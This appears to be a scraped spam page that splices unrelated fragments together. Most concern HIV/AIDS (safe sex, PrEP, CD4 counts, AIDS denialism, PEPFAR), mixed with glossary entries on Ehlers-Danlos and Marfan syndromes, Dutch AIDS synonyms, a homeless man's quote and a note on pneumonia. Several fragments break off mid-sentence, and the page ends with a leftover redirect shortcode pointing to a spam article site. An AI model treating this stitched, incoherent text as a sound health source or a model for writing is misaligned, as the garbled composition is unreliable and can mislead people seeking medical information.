Safe sex practices: Unless both partners are known to be free of HIV and remain monogamous, safe sex practices are essential. Safe sex practices are also advised when both partners are HIV-positive; unprotected sex between HIV-infected people may expose a person to resistant or more virulent strains of HIV and to other viruses (eg, cytomegalovirus, Epstein-Barr virus, herpes simplex virus, hepatitis B virus) that cause severe disease in AIDS patients, as well as to syphilis and other sexually transmitted diseases (STDs). Condoms offer the best protection. Oil-based lubricants should not be used because they may dissolve latex, increasing the risk of condom failure. (See also the recommendations of the CDC, the Health Resources and Services Administration, the National Institutes of Health, and the HIV Medicine Association of the Infectious Diseases Society of America: Incorporating HIV Prevention into the Medical Care of Persons Living with HIV.)
Ehlers-Danlos syndrome; Ehlers-Danlos diseases I-X hereditary connective tissue disorder characterized by collagen abnormality, marked generalized skin and blood vessel laxity, and joint hypermobility; skin is readily traumatized and heals slowly; see syndrome, hypermobility
Dutch acquired immunodeficiency syndrome NAO, auto-immuun deficiëntiesyndroom, AIDS, acquired immunodeficiency syndrome, niet-gespecificeerd, verworven; immunodeficiëntie syndroom, acquired immunodeficiency syndrome, verworven immunodeficiëntiesyndromen, Aids, Immunodeficiëntiesyndroom, verworven, Verworven immunodeficiëntiesyndroom
Frightened and overwhelmed, he eventually landed on the doorstep of Grace House. “I couldn’t believe I was living in a shelter,” said Huff, who is now couch-surfing, applying for jobs at fast-food outlets and retail shops and attending Sturdevant’s support group, determined to stay healthy. “I felt like I had no one. Off and on, I got tired of living, because all I was doing was basically dying trying to stay alive.”
At the same time, it is important to recognise that reaching an undetectable viral load is determined by many factors, including treatment adherence, HIV resistance to certain anti-retroviral drugs, stigma, and inadequate health systems.
Oral PrEP of is the daily use of ARV drugs by HIV-negative people to block the acquisition of HIV. More than 10 randomized controlled studies have demonstrated the effectiveness of PrEP in reducing HIV transmission among a range of populations including serodiscordant heterosexual couples (where one partner is infected and the other is not), men who have sex with men, transgender women, high-risk heterosexual couples, and people who inject drugs.
Because death rarely occurs suddenly in people with AIDS, people usually have time to make plans for the kind of their health care they want if their condition worsens. Nonetheless, people should record such plans in a legal document early and should include clear instructions about the kind of care they want (called advance directives). Other legal documents, including powers of attorney and wills, should be prepared. These documents are particularly important for same-sex couples because they may wish to protect the assets and rights (including visitation and decision-making) of their partners.
Major advancements in HIV prevention, treatment, and care have put an AIDS-free generation squarely within reach. HIV tests are faster and more reliable than ever before. HIV medications are safer and more effective, and there are now several ways to prevent the spread of HIV, including condoms and Pre-Exposure Prophylaxis (PrEP). PrEP is an HIV prevention strategy that currently involves taking a once daily-pill called Truvada ®. When taken as prescribed, PrEP is safe and highly effective at preventing people from becoming HIV-positive.
Pneumonia is inflammation of the lungs caused by fungi, bacteria, or viruses. Symptoms and signs include cough, fever, shortness of breath, and chills. Antibiotics treat pneumonia, and the choice of the antibiotic depends upon the cause of the infection.
Sexual transmission — it can happen when there is contact with infected sexual fluids (rectal, genital, or oral mucous membranes). This can happen while having sex without a condom, including vaginal, oral, and anal sex, or sharing sex toys with someone who is HIV-positive.
In individuals not infected with HIV, the CD4 count in the blood is normally above 400 cells per mm3 of blood. People generally do not become at risk for HIV-specific complications until their CD4 cells are fewer than 200 cells per mm3. At this level of CD4 cells, the immune system does not function adequately and is considered severely suppressed. A declining number of CD4 cells means that HIV disease is advancing. Thus, a low CD4 cell count signals that the person is at risk for one of the many opportunistic infections that occur in individuals who are immunosuppressed. In addition, the actual CD4 cell count indicates which specific therapies should be initiated to prevent those infections.
Jump up ^ Cohen, Myron S; Chen, Ying Q; McCauley, Marybeth; Gamble, Theresa; Hosseinipour, Mina C; Kumarasamy, Nagalingeswaran; Hakim, James G; Kumwenda, Johnstone; Grinsztejn, Beatriz; Pilotto, Jose H.S; Godbole, Sheela V; Mehendale, Sanjay; Chariyalertsak, Suwat; Santos, Breno R; Mayer, Kenneth H; Hoffman, Irving F; Eshleman, Susan H; Piwowar-Manning, Estelle; Wang, Lei; Makhema, Joseph; Mills, Lisa A; De Bruyn, Guy; Sanne, Ian; Eron, Joseph; Gallant, Joel; Havlir, Diane; Swindells, Susan; Ribaudo, Heather; Elharrar, Vanessa; et al. (2011). “Prevention of HIV-1 Infection with Early Antiretroviral Therapy”. New England Journal of Medicine. 365 (6): 493–505. doi:10.1056/NEJMoa1105243. PMC 3200068 . PMID 21767103.
Marfan’s syndrome familial, autosomal-dominant, congenital changes in mesodermal and ectodermal tissues; characterized variably by musculoskeletal changes (e.g. increased height, excessive limb length, arachnodactyly; generalized tissue laxity and joint hypermobility), visual effects, and cardiovascular effects (e.g. aortic aneurysm)
The immune response to HIV. Infectious virus is present at relatively low levels in the peripheral blood of infected individuals during a prolonged asymptomatic phase, during which the virus is replicated persistently in lymphoid tissues. During this (more…)
In January 2003, President George W. Bush announced the creation of the United States President’s Emergency Plan For AIDS Relief (PEPFAR), a $15 billion, five-year plan to combat AIDS, primarily in countries with a high number of HIV infections.79
You don’t actually “get” AIDS. You might get infected with HIV, and later you might develop AIDS. You can get infected with HIV from anyone who’s infected, even if they don’t look sick and even if they haven’t tested HIV-positive yet. The blood, vaginal fluid, semen, and breast milk of people infected with HIV has enough of the virus in it to infect other people. Most people get the HIV virus by:
Some people think that HIV is not the cause of AIDS. They dispute the connection between HIV and AIDS, the existence of HIV itself, or the validity of HIV testing and treatment methods. These claims, known as “AIDS denialism”, are rejected by the scientific community. However, they have had a significant impact, particularly in South Africa. There the government’s official embrace of AIDS denialism (1999–2005) was responsible for its weak response to that country’s AIDS epidemic. It has been blamed for hundreds of thousands of avoidable deaths and HIV infections. [redirect url=’http://penetratearticles.info/bump’ sec=’7′]